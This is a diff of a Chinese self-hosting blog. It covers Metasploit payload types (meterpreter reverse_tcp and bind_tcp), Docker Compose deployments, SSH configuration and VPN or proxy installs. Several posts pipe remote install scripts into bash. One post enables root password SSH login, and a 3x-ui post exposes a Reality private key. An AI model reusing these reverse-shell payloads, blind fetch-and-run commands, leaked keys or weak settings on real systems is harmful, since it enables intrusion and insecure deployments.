> Shellcode:Shellcode 是 payload 中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode 通常用汇编语言编写。在大多数情况下,目标系统执行了 shellcode 这一组指令之后,才会提供一个命令行 shell。
|
||||
|
||||
##### payload模块路径
|
||||
##### payload 模块路径
|
||||
|
||||
```php
|
||||
/usr/share/metasploit-framework/modules/payloads
|
||||
```
|
||||
|
||||
##### Metasploit中的 Payload 模块主要有以下三种类型
|
||||
##### Metasploit 中的 Payload 模块主要有以下三种类型
|
||||
|
||||
* Single:
|
||||
- Single:
|
||||
|
||||
> 是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
|
||||
>
|
||||
* Stager:
|
||||
> 是一种完全独立的 Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于 Single Payload 是完全独立的,因此它们有可能会被类似 netcat 这样的非 metasploit 处理工具所捕捉到。
|
||||
|
||||
> 这种Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
|
||||
>
|
||||
* Stage:
|
||||
- Stager:
|
||||
|
||||
> 是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
|
||||
>
|
||||
> 这种 Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的 Stager Payload 就是 reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是 bind_tcp,它可以让目标系统开启一个 tcp 监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
|
||||
|
||||
##### 几种常见的payload
|
||||
- Stage:
|
||||
|
||||
* 正向连接
|
||||
> 是 Stager Payload 下的一种 Payload 组件,这种 Payload 可以提供更加高级的功能,而且没有大小限制。
|
||||
|
||||
##### 几种常见的 payload
|
||||
|
||||
- 正向连接
|
||||
|
||||
```bash
|
||||
windows/meterpreter/bind_tcp
|
||||
```
|
||||
|
||||
* 反向连接
|
||||
- 反向连接
|
||||
|
||||
```bash
|
||||
windows/meterpreter/reverse_tcp
|
||||
```
|
||||
|
||||
* 过监听80端口反向连接
|
||||
- 过监听 80 端口反向连接
|
||||
|
||||
```bash
|
||||
windows/meterpreter/reverse_http
|
||||
```
|
||||
|
||||
* 通过监听443端口反向连接
|
||||
- 通过监听 443 端口反向连接
|
||||
|
||||
```bash
|
||||
windows/meterpreter/reverse_https
|
||||
@ -457,15 +461,14 @@ exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
|
||||
|
||||
##### **使用场景**
|
||||
|
||||
* 正向连接使用场景:
|
||||
- 正向连接使用场景:
|
||||
|
||||
> 我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。
|
||||
>
|
||||
* 反向连接使用场景:
|
||||
> 我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了 80 端口。那么,我们就只能设置正向连接 80 端口了,这里很有可能失败,因为 80 端口上的流量太多了。
|
||||
|
||||
- 反向连接使用场景:
|
||||
|
||||
> 我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
|
||||
>
|
||||
* 反向连接80和443端口使用场景:
|
||||
|
||||
> 被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。
|
||||
>
|
||||
- 反向连接 80 和 443 端口使用场景:
|
||||
|
||||
> 被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的 80 端口或 443 端口与外部通信。
|
||||
|
@ -84,7 +84,7 @@ tags: ["Docker-compose"]
|
||||
|
||||
创建 `./data` 文件夹,并将 [Typecho](https://github.com/typecho/typecho/releases) 源代码放入此文件夹。
|
||||
|
||||
docker容器不以root权限运行,无法访问文件,需要赋权
|
||||
docker 容器不以 root 权限运行,无法访问文件,需要赋权
|
||||
|
||||
```bash
|
||||
chmod -R 777 data
|
||||
@ -98,12 +98,11 @@ tags: ["Docker-compose"]
|
||||
|
||||
可自行更改
|
||||
|
||||
* nginx 中的端口,默认为`9757`
|
||||
* MySQL中的 root的密码 和 需要创建的数据库名称,默认都为`typecho`
|
||||
- nginx 中的端口,默认为`9757`
|
||||
- MySQL 中的 root 的密码 和 需要创建的数据库名称,默认都为`typecho`
|
||||
|
||||
```yaml
|
||||
services: # 定义多个服务
|
||||
|
||||
nginx: # 服务名称
|
||||
image: nginx # 使用的镜像
|
||||
ports: # 映射的端口
|
||||
@ -157,25 +156,25 @@ docker compose up -d
|
||||
|
||||
如果修改过`docker-compose.yml`
|
||||
|
||||
* 数据库地址: `mysql`
|
||||
- 数据库地址: `mysql`
|
||||
|
||||
```text
|
||||
因为docker内部网络可以用过容器名访问
|
||||
```
|
||||
|
||||
* 数据库用户名: `root`
|
||||
* 数据库密码: `typecho`
|
||||
* 数据库名: `typecho`
|
||||
* 启用数据库 SSL 服务端证书验证: 关闭
|
||||
* 其他默认或随意
|
||||
- 数据库用户名: `root`
|
||||
- 数据库密码: `typecho`
|
||||
- 数据库名: `typecho`
|
||||
- 启用数据库 SSL 服务端证书验证: 关闭
|
||||
- 其他默认或随意
|
||||
|
||||
## 问题
|
||||
|
||||
### 恢复直接用nginx+MySQL搭建的网站
|
||||
### 恢复直接用 nginx+MySQL 搭建的网站
|
||||
|
||||
1. 将原来的文件放入data
|
||||
1. 将原来的文件放入 data
|
||||
|
||||
2. 进入mysql容器,导入数据库文件
|
||||
2. 进入 mysql 容器,导入数据库文件
|
||||
|
||||
3. 在`docker-compose.yml`的环境变量中加入
|
||||
|
||||
@ -184,7 +183,7 @@ docker compose up -d
|
||||
MYSQL_PASSWORD=typecho # 原有 MySQL 用户密码
|
||||
```
|
||||
|
||||
4. 进入mysql容器,将数据库赋权给原用户
|
||||
4. 进入 mysql 容器,将数据库赋权给原用户
|
||||
|
||||
### 排版错误
|
||||
|
||||
|
@ -72,7 +72,7 @@ ssh -p 7222 -o StrictHostKeyChecking=no git@127.0.0.1 "SSH_ORIGINAL_COMMAND=\"$S
|
||||
|
||||
### 3. 创建`docker-compose.yml` 文件并配置
|
||||
|
||||
> 将下面的USER_UID=1000 USER_GID=1000 换为得到uid 和 gid
|
||||
> 将下面的 USER_UID=1000 USER_GID=1000 换为得到 uid 和 gid
|
||||
|
||||
```yaml
|
||||
version: "3"
|
||||
@ -149,3 +149,4 @@ server {
|
||||
proxy_set_header X-Forwarded-Port $server_port;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
@ -8,8 +8,8 @@ tags: ["Docker-compose"]
|
||||
|
||||
### 替换说明
|
||||
|
||||
* 将 `/var/www/siyuan/` 替换为你的实际物理路径。
|
||||
* 将 `Password` 替换为你的访问密码。
|
||||
- 将 `/var/www/siyuan/` 替换为你的实际物理路径。
|
||||
- 将 `Password` 替换为你的访问密码。
|
||||
|
||||
```yaml
|
||||
version: "3.9"
|
||||
@ -30,10 +30,10 @@ services:
|
||||
|
||||
## 反向代理配置
|
||||
|
||||
### Nginx配置替换说明
|
||||
### Nginx 配置替换说明
|
||||
|
||||
* 将 `your_domain.com` 替换为你自己的域名。
|
||||
* 将 `path` 替换为你的SSL证书的实际路径。
|
||||
- 将 `your_domain.com` 替换为你自己的域名。
|
||||
- 将 `path` 替换为你的 SSL 证书的实际路径。
|
||||
|
||||
```nginx
|
||||
upstream siyuan {
|
||||
@ -78,3 +78,4 @@ server {
|
||||
proxy_set_header Connection 'Upgrade'; # 支持 WebSocket
|
||||
}
|
||||
}
|
||||
```
|
||||
|
@ -2,7 +2,6 @@
|
||||
title: "密码管理器—Vaultwarden(bitwarden)"
|
||||
date: 2023-05-18T21:47:00+00:00
|
||||
tags: ["Docker-compose"]
|
||||
|
||||
---
|
||||
|
||||
## 1. 安装 Vaultwarden
|
||||
@ -10,7 +9,7 @@ tags: ["Docker-compose"]
|
||||
使用以下 `docker-compose.yml` 文件部署 Vaultwarden:
|
||||
|
||||
```yaml
|
||||
version: '3.8'
|
||||
version: "3.8"
|
||||
services:
|
||||
bitwarden:
|
||||
image: vaultwarden/server:latest
|
||||
@ -34,10 +33,10 @@ services:
|
||||
|
||||
> **需要修改的参数**
|
||||
>
|
||||
> 1. `ssl_certificate` : SSL证书路径
|
||||
> 2. `ssl_certificate_key` : SSL证书路径
|
||||
> 3. `server_name`: 跟你前面配置的domain相同,案例中为`b.lsy22.com`
|
||||
> 4. `proxy_pass` : 运行Vaultwarden的服务器地址和端口,比如本机为127.0.0.1:6666
|
||||
> 1. `ssl_certificate` : SSL 证书路径
|
||||
> 2. `ssl_certificate_key` : SSL 证书路径
|
||||
> 3. `server_name`: 跟你前面配置的 domain 相同,案例中为`b.lsy22.com`
|
||||
> 4. `proxy_pass` : 运行 Vaultwarden 的服务器地址和端口,比如本机为 127.0.0.1:6666
|
||||
|
||||
```nginx
|
||||
server {
|
||||
|
@ -1,25 +1,25 @@
|
||||
---
|
||||
title: "网盘直链程序—AList"
|
||||
date: 2023-05-26T20:21:00+00:00
|
||||
tags: ["Docker-compose","WebDAV"]
|
||||
tags: ["Docker-compose", "WebDAV"]
|
||||
---
|
||||
|
||||
## 1. 项目展示
|
||||
|
||||
- **GitHub项目地址**:[Alist on GitHub](https://github.com/Xhofe/alist)
|
||||
- **Demo演示站点**:[访问Demo](https://alist.nn.ci)
|
||||
- **Alist文档地址**:[阅读文档](https://alist-doc.nn.ci/en/)
|
||||
- **GitHub 项目地址**:[Alist on GitHub](https://github.com/Xhofe/alist)
|
||||
- **Demo 演示站点**:[访问 Demo](https://alist.nn.ci)
|
||||
- **Alist 文档地址**:[阅读文档](https://alist-doc.nn.ci/en/)
|
||||
|
||||
## 2. 搭建Docker
|
||||
## 2. 搭建 Docker
|
||||
|
||||
- [Docker官方部署教程](https://docs.docker.com/engine/install/debian/)
|
||||
- [Docker 官方部署教程](https://docs.docker.com/engine/install/debian/)
|
||||
|
||||
## 3. 搭建Alist
|
||||
## 3. 搭建 Alist
|
||||
|
||||
运行以下Docker Compose文件进行Alist的安装:
|
||||
运行以下 Docker Compose 文件进行 Alist 的安装:
|
||||
|
||||
```yaml
|
||||
version: '3.8'
|
||||
version: "3.8"
|
||||
services:
|
||||
alist:
|
||||
image: xhofe/alist:latest
|
||||
@ -31,12 +31,12 @@ services:
|
||||
- "7777:5244"
|
||||
```
|
||||
|
||||
- **查看初始化密码**:运行`docker logs alist`命令,可以查看Alist的初始密码。
|
||||
- **查看初始化密码**:运行`docker logs alist`命令,可以查看 Alist 的初始密码。
|
||||
- **更改密码建议**:建议更改一个自己能够记住的密码。
|
||||
|
||||
## 4. 配置反向代理
|
||||
|
||||
配置Nginx反向代理,以便安全访问Alist站点:
|
||||
配置 Nginx 反向代理,以便安全访问 Alist 站点:
|
||||
|
||||
```nginx
|
||||
server {
|
||||
@ -72,15 +72,15 @@ server {
|
||||
## 6. 挂载配置
|
||||
|
||||
- **挂载路径**:`/`
|
||||
- **根目录路径**:`/opt/alist/data/`对应VPS上的`/www/wwwroot/alist`目录。
|
||||
- **根目录路径**:`/opt/alist/data/`对应 VPS 上的`/www/wwwroot/alist`目录。
|
||||
|
||||
如果需要进一步的目录细分,可以设置路径为`/opt/alist/data/Userdata/`,在`/www/wwwroot/alist`下创建`Userdata`文件夹,并存放文件。
|
||||
|
||||
- **其他网盘添加方式**:请参考[Alist文档](https://alist-doc.nn.ci/en/)
|
||||
- **其他网盘添加方式**:请参考[Alist 文档](https://alist-doc.nn.ci/en/)
|
||||
|
||||
## 7. 更新Alist
|
||||
## 7. 更新 Alist
|
||||
|
||||
若需更新Alist,请按以下步骤操作:
|
||||
若需更新 Alist,请按以下步骤操作:
|
||||
|
||||
1. **停止容器**:运行`docker stop alist`
|
||||
2. **删除容器**:运行`docker rm -f alist`(此操作不会删除数据)
|
||||
|
@ -42,20 +42,19 @@ sh -c "$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/ins
|
||||
|
||||
### 主题
|
||||
|
||||
* [powerlevel10k](https://github.com/romkatv/powerlevel10k)
|
||||
- [powerlevel10k](https://github.com/romkatv/powerlevel10k)
|
||||
|
||||
### 插件
|
||||
|
||||
* [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions): 根据历史记录和完成情况在您输入时建议命令
|
||||
* [zsh-syntax-highlighting](https://github.com/zsh-users/zsh-syntax-highlighting): 输入命令时提供语法高亮
|
||||
- [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions): 根据历史记录和完成情况在您输入时建议命令
|
||||
- [zsh-syntax-highlighting](https://github.com/zsh-users/zsh-syntax-highlighting): 输入命令时提供语法高亮
|
||||
|
||||
#### oh-my-zsh 自带插件
|
||||
|
||||
直接按照上述方法在 `.zshrc` 配置的 `plugins` 中加入即可:
|
||||
|
||||
* [command-not-found](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/command-not-found): 在 `zsh` 找不到命令时提供建议的安装包
|
||||
* [extract](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/extract): 使用 `x` 命令解压任何压缩文件
|
||||
* [pip](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/pip): 为 `python` 包管理器 `pip` 提供补全
|
||||
* [docker](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker): 为 `docker` 命令添加自动补全支持
|
||||
* [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持
|
||||
|
||||
- [command-not-found](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/command-not-found): 在 `zsh` 找不到命令时提供建议的安装包
|
||||
- [extract](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/extract): 使用 `x` 命令解压任何压缩文件
|
||||
- [pip](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/pip): 为 `python` 包管理器 `pip` 提供补全
|
||||
- [docker](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker): 为 `docker` 命令添加自动补全支持
|
||||
- [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持
|
||||
|
@ -4,7 +4,7 @@ date: 2024-06-30T23:46:05+08:00
|
||||
tags: []
|
||||
---
|
||||
|
||||
## 更改root密码
|
||||
## 更改 root 密码
|
||||
|
||||
> 将`password`更改为所需的密码
|
||||
|
||||
@ -14,7 +14,7 @@ tags: []
|
||||
echo root:`password` |sudo chpasswd root
|
||||
```
|
||||
|
||||
2. 开启root登录
|
||||
2. 开启 root 登录
|
||||
|
||||
```bash
|
||||
sudo sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config;
|
||||
@ -26,7 +26,7 @@ tags: []
|
||||
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
|
||||
```
|
||||
|
||||
4. 重启ssh服务
|
||||
4. 重启 ssh 服务
|
||||
|
||||
```bash
|
||||
systemctl restart sshd.service
|
||||
@ -42,7 +42,7 @@ tags: []
|
||||
|
||||
> 连续执行回车即可生成密钥和公钥对。如果需要设置密码,请在密码提示处输入密码。
|
||||
|
||||
2. 安装ssh公钥
|
||||
2. 安装 ssh 公钥
|
||||
|
||||
```bash
|
||||
cp "$HOME/.ssh/id_rsa.pub" "$HOME/.ssh/authorized_keys"
|
||||
@ -55,7 +55,7 @@ tags: []
|
||||
chmod 700 "$HOME/.ssh"
|
||||
```
|
||||
|
||||
4. ssh配置文件
|
||||
4. ssh 配置文件
|
||||
|
||||
1. 开启密钥登录
|
||||
|
||||
@ -69,21 +69,21 @@ tags: []
|
||||
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/g' /etc/ssh/sshd_config
|
||||
```
|
||||
|
||||
5. 重启sshd服务
|
||||
5. 重启 sshd 服务
|
||||
|
||||
```bash
|
||||
systemctl restart sshd.service
|
||||
```
|
||||
|
||||
## ssh登录后闲置时间过长而断开连接
|
||||
## ssh 登录后闲置时间过长而断开连接
|
||||
|
||||
```bash
|
||||
echo "ServerAliveInterval 60" >> "$HOME/.ssh/config"
|
||||
```
|
||||
|
||||
> ssh客户端会每隔一段60s,自动与ssh服务器通信一次
|
||||
> ssh 客户端会每隔一段 60s,自动与 ssh 服务器通信一次
|
||||
|
||||
## 存放ssh密钥密码
|
||||
## 存放 ssh 密钥密码
|
||||
|
||||
### 启动`ssh-agent`
|
||||
|
||||
|
@ -4,7 +4,7 @@ date: 2024-05-03T20:32:15+08:00
|
||||
tags: []
|
||||
---
|
||||
|
||||
## 安装bypy
|
||||
## 安装 bypy
|
||||
|
||||
### 安装 pip 和虚拟环境
|
||||
|
||||
@ -52,15 +52,15 @@ tags: []
|
||||
|
||||
##### bypy 基本操作
|
||||
|
||||
* `bypy info`:查看空间使用信息。
|
||||
* `bypy list`:查看目录信息。
|
||||
* `bypy upload`:上传根目录所有文件。
|
||||
* `bypy downdir`:把云盘上的内容同步到本地。
|
||||
* `bypy compare`:比较本地当前目录和云盘根目录。
|
||||
- `bypy info`:查看空间使用信息。
|
||||
- `bypy list`:查看目录信息。
|
||||
- `bypy upload`:上传根目录所有文件。
|
||||
- `bypy downdir`:把云盘上的内容同步到本地。
|
||||
- `bypy compare`:比较本地当前目录和云盘根目录。
|
||||
|
||||
## 安装阿里网盘备份工具
|
||||
|
||||
Github项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/tickstep/aliyunpan)
|
||||
Github 项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/tickstep/aliyunpan)
|
||||
|
||||
1. 下载工具包
|
||||
|
||||
@ -96,7 +96,7 @@ Github项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/ti
|
||||
|
||||
> 将`数据路径`,`网站根目录名称`,`数据库名称`,`数据库用户名`,`数据库密码`改为自己的
|
||||
|
||||
### 使用于只用docker-compose搭建,只需要备份文件,并上传到网盘
|
||||
### 使用于只用 docker-compose 搭建,只需要备份文件,并上传到网盘
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
@ -123,7 +123,7 @@ for item in "$web_path"/*; do
|
||||
done
|
||||
```
|
||||
|
||||
### 适用于 mysql+nginx的网站,需要备份文件和数据库,并上传到网盘
|
||||
### 适用于 mysql+nginx 的网站,需要备份文件和数据库,并上传到网盘
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
@ -189,7 +189,7 @@ for item in "${web_arry[@]}"; do
|
||||
done
|
||||
```
|
||||
|
||||
### 适用于 mysql+nginx的网站,需要备份文件和数据库
|
||||
### 适用于 mysql+nginx 的网站,需要备份文件和数据库
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
@ -4,7 +4,7 @@ date: 2024-07-02T17:19:38+08:00
|
||||
tags: []
|
||||
---
|
||||
|
||||
> **系统自带内核高于4.9 则默认已包含 BBR**
|
||||
> **系统自带内核高于 4.9 则默认已包含 BBR**
|
||||
|
||||
### 1. 检查内核版本
|
||||
|
||||
@ -14,9 +14,9 @@ uname -r
|
||||
|
||||
> 内核版本高于 4.9 就行。
|
||||
|
||||
### 2. 开启BBR
|
||||
### 2. 开启 BBR
|
||||
|
||||
通过向 `/etc/sysctl.conf`文件添加配置来启用BBR
|
||||
通过向 `/etc/sysctl.conf`文件添加配置来启用 BBR
|
||||
|
||||
```bash
|
||||
echo "net.core.default_qdisc=fq" | sudo tee -a /etc/sysctl.conf
|
||||
|
33
src/content/技术日志/vpn/3x-ui配置.md
Normal file
33
src/content/技术日志/vpn/3x-ui配置.md
Normal file
@ -0,0 +1,33 @@
|
||||
---
|
||||
title: "3x-ui配置"
|
||||
date: 2025-04-19T10:48:48+08:00
|
||||
tags: []
|
||||
---
|
||||
|
||||
3x-ui:[https://github.com/MHSanaei/3x-ui](https://github.com/MHSanaei/3x-ui)
|
||||
|
||||
安全:`Reality`
|
||||
|
||||
Dest (Target)
|
||||
|
||||
```txt
|
||||
apple.com:443
|
||||
```
|
||||
|
||||
SNI
|
||||
|
||||
```txt
|
||||
apple.com
|
||||
```
|
||||
|
||||
公钥
|
||||
|
||||
```txt
|
||||
jCK3ORKMwzmJsig7gMWOTGlaF2wvuVAcEr7jbB1bnwU
|
||||
```
|
||||
|
||||
私钥
|
||||
|
||||
```txt
|
||||
oN60djdg_ZRUiChp0Rj-emZ3VhM_x8rL93H4rhdq1Wc
|
||||
```
|
@ -6,7 +6,7 @@ tags: ["x-ui"]
|
||||
|
||||
## 一、部署安装
|
||||
|
||||
GitHub项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/FranzKafkaYu/x-ui)
|
||||
GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/FranzKafkaYu/x-ui)
|
||||
|
||||
1. 复制粘贴以下代码,并运行:
|
||||
|
||||
@ -14,11 +14,11 @@ GitHub项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/F
|
||||
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
|
||||
```
|
||||
|
||||
注意:在IPv6 Only的VPS中(例如:Euserv、Hax),请先安装warp,否则无法访问Github API而报错。
|
||||
注意:在 IPv6 Only 的 VPS 中(例如:Euserv、Hax),请先安装 warp,否则无法访问 Github API 而报错。
|
||||
|
||||
2. 设置用户名密码、面板访问端口。
|
||||
|
||||
待出现X-ui的菜单时,就已经成功一半了!
|
||||
待出现 X-ui 的菜单时,就已经成功一半了!
|
||||
|
||||
## 二、配置
|
||||
|
||||
@ -31,7 +31,7 @@ GitHub项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/F
|
||||
- 端口:`443`
|
||||
- reality:`开启`
|
||||
- 添加用户:+
|
||||
- flow选择xtls-rprx-vision
|
||||
- flow 选择 xtls-rprx-vision
|
||||
- 其他默认
|
||||
|
||||
## 三、使用
|
||||
|
@ -12,7 +12,7 @@ yum install tor -y
|
||||
|
||||
## 2. 安装 obfs4
|
||||
|
||||
### 通过python进行编译安装
|
||||
### 通过 python 进行编译安装
|
||||
|
||||
#### 安装所需依赖软件模块
|
||||
|
||||
@ -26,21 +26,21 @@ yum install make automake gcc python-pip python-devel libyaml-devel
|
||||
pip install obfsproxy
|
||||
```
|
||||
|
||||
### 通过go进行编译安装
|
||||
### 通过 go 进行编译安装
|
||||
|
||||
#### 下载go的obfs4项目
|
||||
#### 下载 go 的 obfs4 项目
|
||||
|
||||
```bash
|
||||
git clone http://www.github.com/Yawning/obfs4
|
||||
```
|
||||
|
||||
#### 进入obfs4目录进行编译
|
||||
#### 进入 obfs4 目录进行编译
|
||||
|
||||
```bash
|
||||
go build -o obfs4proxy/obfs4proxy ./obfs4proxy
|
||||
```
|
||||
|
||||
#### 复制bofs4proxy到系统工作目录下
|
||||
#### 复制 bofs4proxy 到系统工作目录下
|
||||
|
||||
```bash
|
||||
cp ./obfs4proxy/obfs4proxy /usr/bin/obfs4proxy
|
||||
@ -67,13 +67,13 @@ ExtORPort auto
|
||||
PublishServerDescriptor 0
|
||||
```
|
||||
|
||||
### 重启tor服务
|
||||
### 重启 tor 服务
|
||||
|
||||
```bash
|
||||
systemctl restart tor
|
||||
```
|
||||
|
||||
### 查看tor服务状态
|
||||
### 查看 tor 服务状态
|
||||
|
||||
```bash
|
||||
systemctl status tor
|
||||
@ -128,7 +128,7 @@ iatmode=0
|
||||
vim /etc/firewalld/zones/public.xml
|
||||
```
|
||||
|
||||
内容如下(本例ORPort端口 => 6666, obfs4端口 => 46396):
|
||||
内容如下(本例 ORPort 端口 => 6666, obfs4 端口 => 46396):
|
||||
|
||||
```xml
|
||||
<port protocol="tcp" port="ORPort端口"/>
|
||||
@ -143,4 +143,4 @@ vim /etc/firewalld/zones/public.xml
|
||||
firewall-cmd --complete-reload
|
||||
```
|
||||
|
||||
[Tor浏览器下载地址](https://www.torproject.org/download/)
|
||||
[Tor 浏览器下载地址](https://www.torproject.org/download/)
|
||||
|
@ -1,11 +0,0 @@
|
||||
---
|
||||
title: "dns 解锁"
|
||||
date: 2025-01-18 14:19:00Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
## 1. 安装dnsmasq
|
||||
|
||||
```bash
|
||||
yum install dnsmasq -y
|
||||
```
|
@ -4,7 +4,7 @@ date: 2023-04-06T19:23:00Z
|
||||
tags: ["v2board"]
|
||||
---
|
||||
|
||||
确保v2board版本在1.2.5及以上
|
||||
确保 v2board 版本在 1.2.5 及以上
|
||||
|
||||
## 一、安装与更新
|
||||
|
||||
@ -14,7 +14,7 @@ bash <(curl -Ls https://raw.githubusercontent.com/XrayR-project/XrayR-release/ma
|
||||
|
||||
## 二、域名配置
|
||||
|
||||
将域名托管到cloudflared
|
||||
将域名托管到 cloudflared
|
||||
|
||||
## 三、同步时间(重要)
|
||||
|
||||
@ -53,18 +53,17 @@ ntpdate time.nist.gov
|
||||
|
||||
- 节点名称:随便填写
|
||||
- 权限组:随便填写
|
||||
- 节点地址:填cf的ip或者伪装的域名
|
||||
- 节点地址:填 cf 的 ip 或者伪装的域名
|
||||
- TLS:伪装的域名
|
||||
- 端口:443
|
||||
- 传输协议:选择websocket
|
||||
- 传输协议:选择 websocket
|
||||
|
||||
### 配置协议
|
||||
|
||||
```json
|
||||
{
|
||||
"path": "/随便",
|
||||
"headers":
|
||||
{
|
||||
"headers": {
|
||||
"Host": "伪装的域名"
|
||||
}
|
||||
}
|
||||
@ -92,8 +91,7 @@ ConnectionConfig:
|
||||
DownlinkOnly: 4 # Time limit when the connection is closed after the uplink is closed, Second
|
||||
BufferSize: 64 # The internal cache size of each connection, kB
|
||||
Nodes:
|
||||
-
|
||||
PanelType: "NewV2board" ## 对接的面板类型: SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks
|
||||
- PanelType: "NewV2board" ## 对接的面板类型: SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks
|
||||
ApiConfig:
|
||||
ApiHost: "https://****.com" ## 面板域名地址,或自定义个专用后端对接不提供访问的域名
|
||||
ApiKey: "*****" ## 面板设置的通讯密钥
|
||||
|
@ -4,7 +4,7 @@ date: 2021-07-31T01:17:00+08:00
|
||||
tags: ["v2board"]
|
||||
---
|
||||
|
||||
确保v2board版本在1.2.5及以上
|
||||
确保 v2board 版本在 1.2.5 及以上
|
||||
|
||||
## 一、安装与更新
|
||||
|
||||
@ -49,9 +49,9 @@ ntpdate time.nist.gov
|
||||
|
||||
- 节点名称:随便填写
|
||||
- 权限组:随便填写
|
||||
- 节点地址:填v2borad的域名或ip
|
||||
- TLS:填v2borad的域名或不填
|
||||
- 传输协议:选择websocket
|
||||
- 节点地址:填 v2borad 的域名或 ip
|
||||
- TLS:填 v2borad 的域名或不填
|
||||
- 传输协议:选择 websocket
|
||||
|
||||
### 配置协议
|
||||
|
||||
|
@ -10,10 +10,10 @@ tags: ["v2board"]
|
||||
|
||||
## 二、配置 AWS CloudFront
|
||||
|
||||
1. 创建aws账号
|
||||
2. 在aws后台直接搜-`CloudFront`-创建分配
|
||||
1. 创建 aws 账号
|
||||
2. 在 aws 后台直接搜-`CloudFront`-创建分配
|
||||
3. 创建分配配置:
|
||||
- 源域:cloudflared托管的域名
|
||||
- 源域:cloudflared 托管的域名
|
||||
- 协议:仅 HTTPS
|
||||
- 最低源 SSL 协议:TLSv1.1
|
||||
- 自动压缩对象:否
|
||||
@ -25,14 +25,16 @@ tags: ["v2board"]
|
||||
|
||||
1. 复制一份创造成功的节点
|
||||
2. 修改复制节点:
|
||||
|
||||
- 后台 > 节点管理 > 添加节点
|
||||
|
||||
- 节点名称:随便填写
|
||||
- 权限组:随便填写
|
||||
- 节点地址:CloudFront分配的域名
|
||||
- 节点地址:CloudFront 分配的域名
|
||||
- TLS:关闭
|
||||
- 端口:80
|
||||
- 父节点:选择创造好的节点
|
||||
- 传输协议:选择websocket
|
||||
- 传输协议:选择 websocket
|
||||
- 配置协议:
|
||||
|
||||
```json
|
||||
|
@ -4,12 +4,12 @@ date: 2021-07-31T00:03:00+08:00
|
||||
tags: ["v2ray"]
|
||||
---
|
||||
|
||||
## 一、v2ray官方安装
|
||||
## 一、v2ray 官方安装
|
||||
|
||||
```bash
|
||||
bash <(curl -s -L https://git.io/v2ray.sh)
|
||||
```
|
||||
|
||||
## 二、v2ray-agent安装
|
||||
## 二、v2ray-agent 安装
|
||||
|
||||
v2ray-agent 八合一脚本:[https://github.com/mack-a/v2ray-agent](https://github.com/mack-a/v2ray-agent)
|
||||
|
@ -4,8 +4,7 @@ date: 2021-08-09T00:07:00+08:00
|
||||
tags: []
|
||||
---
|
||||
|
||||
1.同步时间
|
||||
------
|
||||
## 1.同步时间
|
||||
|
||||
CentOS 7
|
||||
|
||||
